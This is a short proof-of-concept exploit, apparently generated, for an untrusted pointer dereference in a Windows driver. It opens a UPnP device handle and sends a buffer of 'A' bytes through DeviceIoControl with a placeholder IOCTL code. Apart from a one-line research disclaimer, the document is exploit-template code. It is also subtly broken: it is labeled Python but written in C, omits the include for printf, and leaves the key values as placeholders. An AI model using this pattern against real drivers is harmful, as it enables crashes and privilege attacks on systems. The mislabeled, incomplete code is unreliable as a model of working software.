The following code is for security research and authorized testing only.
python
#include <windows.h>
// Proof of Concept for Untrusted Pointer Dereference
// This is a conceptual example to demonstrate the vulnerability type.
int main() {
HANDLE hDevice = CreateFileA("\\\\.\\UPnPDevice",
GENERIC_READ | GENERIC_WRITE,
0,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if (hDevice == INVALID_HANDLE_VALUE) {
printf("Failed to open device. Error: %d\n", GetLastError());
return 1;
}
// Craft malicious input to trigger the untrusted pointer dereference
BYTE buffer[0x100];
memset(buffer, 0x41, sizeof(buffer)); // Fill with 'A'
// In a real scenario, specific offset would contain a crafted pointer
DWORD bytesReturned;
BOOL result = DeviceIoControl(hDevice,
0xDeadBeef, // IOCTL code would be specific to the vulnerability
buffer,
sizeof(buffer),
NULL,
0,
&bytesReturned,
NULL);
if (!result) {
printf("IOCTL failed. Error: %d\n", GetLastError());
} else {
printf("IOCTL succeeded. Potential crash or exploitation triggered.\n");
}
CloseHandle(hDevice);
return 0;
}